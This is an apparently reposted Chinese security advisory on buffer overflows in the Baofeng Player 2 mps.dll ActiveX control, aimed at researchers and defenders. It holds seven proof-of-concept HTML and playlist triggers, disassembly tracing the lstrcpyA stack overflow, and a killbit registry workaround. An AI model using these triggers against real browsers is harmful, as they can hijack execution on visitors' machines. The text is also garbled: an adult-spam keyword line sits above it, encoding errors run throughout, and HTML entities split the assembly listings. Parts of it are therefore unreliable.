丁香婷婷网,黄色av网站裸体无码www,亚洲午夜无码精品一级毛片,国产一区二区免费播放

現(xiàn)在位置:范文先生網(wǎng)>理工論文>服務(wù)器安全及應(yīng)用>暴風(fēng)影音2 mps.dll組件多個緩沖區(qū)溢出漏洞

暴風(fēng)影音2 mps.dll組件多個緩沖區(qū)溢出漏洞

時(shí)間:2022-04-22 16:36:25 服務(wù)器安全及應(yīng)用 我要投稿
  • 相關(guān)推薦

暴風(fēng)影音2 mps.dll組件多個緩沖區(qū)溢出漏洞

網(wǎng)上爆出了一個暴風(fēng)影音的activex漏洞,調(diào)用的是rawParse這個方法,于是簡單看了下,發(fā)現(xiàn)問題真不少。
這些問題都是可以控制eip或者是seh的,也就是說每個漏洞都可以導(dǎo)致執(zhí)行任意代碼。

影響版本:暴風(fēng)影音2(其他未測試)
未受影響版本:無(目前無補(bǔ)丁)

URL屬性、rawParse方法和advancedOpen方法溢出的poc分別如下:

[Vuln 1]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s += "\x0c";

}

storm.URL = s;
</script>
</body>
</html>
[Vuln 2]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s += "\x0c";

}

storm.rawParse(s);
</script>
</body>
</html>
[Vuln 3]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s += "\x0c";

}

storm.advancedOpen(s, "");
</script>
</body>
</html>
URL屬性、rawParse方法和advancedOpen方法的溢出本質(zhì)是同一個問題,他們都調(diào)用了sparser.dll導(dǎo)出的一個函數(shù)。
這個函數(shù)從代碼來看是處理路徑和URL的,URL屬性和rawParse方法傳入的參數(shù)也都是URL。
.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR
lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40    proc near               ; DATA
XREF: .rdata:1000F2D0 o
.text:10004F40
.text:10004F40 var_14          = dword ptr -14h
.text:10004F40 var_10          = dword ptr -10h
.text:10004F40 var_C           = dword ptr -0Ch
.text:10004F40 var_4           = dword ptr -4
.text:10004F40 lpMultiByteStr  = dword ptr  4
.text:10004F40 arg_8           = dword ptr  0Ch
.text:10004F40
.text:10004F40                 mov     eax, large fs:0
.text:10004F46                 push    0FFFFFFFFh
.text:10004F48                 push    offset loc_1000EB21
.text:10004F4D                 push    eax
             ...    ...    ...    ...
.text:1000506D                 call    dword ptr [ecx+4]
.text:10005070                 mov     ecx, esi
.text:10005072                 mov     edx, [esp+24h+lpMultiByteStr]
.text:10005076                 push    edx             ;
lpMultiByteStr
.text:10005077                 call    sub_10002450
該函數(shù)第二、三個參數(shù)都是指向用戶輸入串拷貝的指針,最后一行進(jìn)入另一個函數(shù):
.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450    proc near               ; CODE XREF:
sub_10004F40+137 p
.text:10002450
.text:10002450 var_12C         = dword ptr -12Ch
.text:10002450 pszPath         = byte ptr -120h
.text:10002450 var_1C          = dword ptr -1Ch
.text:10002450 var_4           = dword ptr -4
.text:10002450 lpMultiByteStr  = dword ptr  8
.text:10002450
.text:10002450                 push    ebp
.text:10002451                 mov     ebp, esp
.text: 10002453      & nbsp;           sub      esp, 120h    ;& nbsp;注意
這里分配了120h即288字節(jié)大小的buffer
          ...   ...   ...   ...
.text:100024ED                 mov     edi, [ebp+lpMultiByteStr]
.text:100024F0                 push    edi             ; pszPath
.text: 100024F1      & nbsp;           call     ds:PathIsURLA    ; 這里判斷
是否為合法的URL
.text:100024F7                 test    eax, eax
.text: 100024F9      & nbsp;           jz    & nbsp;
loc_10002582    ;& nbsp;如果不是則跳轉(zhuǎn)
          ...   ...   ...   ...
.text:10002582                 lea     eax, [ebp+pszPath]
.text: 10002588      & nbsp;           push     edi              ; 用戶輸入
的串
.text:10002589                 push    eax
.text: 1000258A      & nbsp;           call     ds:lstrcpyA    ; 串拷貝造成棧
溢出
通過以上分析發(fā)現(xiàn),程序在處理非法超長(長度大于MAX_PATH)URL時(shí)發(fā)生棧溢出。
這個函數(shù)是個導(dǎo)出函數(shù),暴風(fēng)影音其他地方如果調(diào)用這個函數(shù)的話,都可能有問題。
于是通過在這個函數(shù)下斷點(diǎn)發(fā)現(xiàn)暴風(fēng)影音主程序處理URL時(shí)也是調(diào)用這個函數(shù),同樣也有問題。
我們構(gòu)造一個播放列表文件就可以觸發(fā):

[Vuln 4]
<?xml version="1.0" encoding="GB2312"?>
<PlayList>
    <item name="ph4nt0m" time=""
path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAA"/


</PlayList>
但是問題還遠(yuǎn)遠(yuǎn)沒有結(jié)束,在mps.dll中,還存在很明顯的以下幾個漏洞:

IsDVDPath方法:
037EAB8B    56              PUSH ESI
037EAB8C    57              PUSH EDI
037EAB8D    50              PUSH EAX                                 ;
src
037EAB8E    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]           ;
dest
037EAB94    68 30FE8003     PUSH mps.0380FE30                        ;
ASCII "%s\video_ts.ifo"
037EAB99    50              PUSH EAX
037EAB9A    E8 F2FA0000     CALL mps.037FA691                        ;
copy
[Vuln 5]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s += "\x0c";

}

storm.isDVDPath(s);
</script>
</body>
</html>
backImage屬性:
03FA6D5B   .  8D9E 0C030000 LEA     EBX,DWORD PTR DS:[ESI+30C]
<===========
03FA6D84   .  FF75 F0       PUSH    DWORD PTR SS:
[EBP-10]                   ; /String2
03FA6D87   .  8986 08030000 MOV     DWORD PTR DS:[ESI
+308],EAX              ; |
03FA6D8D   .  53            PUSH
EBX                                     ; |String1
03FA6D8E   .  FF15 5471FC03 CALL    DWORD PTR DS:
[<&KERNEL32.lstrcpyA>]     ; \lstrcpyA
03FA6D94   >  8B86 34040000 MOV     EAX,DWORD PTR DS:[ESI+434]
03FA6D9A   .  8D8E 34040000 LEA     ECX,DWORD PTR DS:[ESI+434]
<===========
03FA6DA0   .  894D 0C       MOV     DWORD PTR SS:[EBP+C],ECX
03FA6DA3   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]
[Vuln 6]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s += "\x0c";

}

storm.backImage = s;
</script>
</body>
</html>
titleImage屬性:
03EA68E7   .  FF75 F0       PUSH    DWORD PTR SS:
[EBP-10]            ; /String2
03EA68EA   .  8903          MOV     DWORD PTR DS:[EBX],EAX           ;
|
03EA68EC   .  8D86 A4010000 LEA     EAX,DWORD PTR DS:[ESI+1A4]       ;
|
03EA68F2   .  50            PUSH    EAX                              ;
|String1
03EA68F3   .  FF15 5471EC03 CALL    DWORD PTR DS:[<&KERNEL32.lstrcpy>;
\lstrcpyA
03EA68F9   >  8B86 C8020000 MOV     EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF   .  8D9E C8020000 LEA     EBX,DWORD PTR DS:[ESI+2C8]
03EA6905   .  8BCB          MOV     ECX,EBX
03EA6907   .  895D 0C       MOV     DWORD PTR SS:[EBP+C],EBX
03EA690A   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]
[Vuln 7]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s += "\x0c";

}

storm.titleImage = s;
</script>
</body>
</html>
針對該控件漏洞的臨時(shí)解決辦法是對該com組建設(shè)置killbit,把下面內(nèi)容保存為.reg文件,雙擊導(dǎo)入注冊表:

[Patch]
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400
暴風(fēng)影音在前段時(shí)間宣布脫離了MPC內(nèi)核,現(xiàn)在大部分代碼都是自己寫的。
我們看到暴風(fēng)影音在業(yè)務(wù)迅速發(fā)展,版本迅速更新的同時(shí),帶來的是對產(chǎn)品安全的忽視與僥幸心理。
我以前一直感覺暴風(fēng)影音會有問題,因?yàn)樗颂嗟膁ll,隨便哪個文件格式出問題,就會導(dǎo)致嚴(yán)重漏洞。
這些漏洞也許只是冰山的一角,繼續(xù)挖掘下去,也許會發(fā)現(xiàn)更多的東西。
快速發(fā)展型企業(yè)生存不容易,愿"暴風(fēng)"一路走好。

【暴風(fēng)影音2 mps.dll組件多個緩沖區(qū)溢出漏洞】相關(guān)文章:

暴風(fēng)作文04-11

暴風(fēng)雨02-19

玉林勾漏洞導(dǎo)游詞-廣西導(dǎo)游詞07-12

暴風(fēng)雨作文07-23

暴風(fēng)雪作文06-13

暴風(fēng)雨的作文03-22

暴風(fēng)雨的句子02-15

暴風(fēng)雨優(yōu)秀作文07-29

夏日暴風(fēng)雨作文02-21

暴風(fēng)雨作文【薦】09-23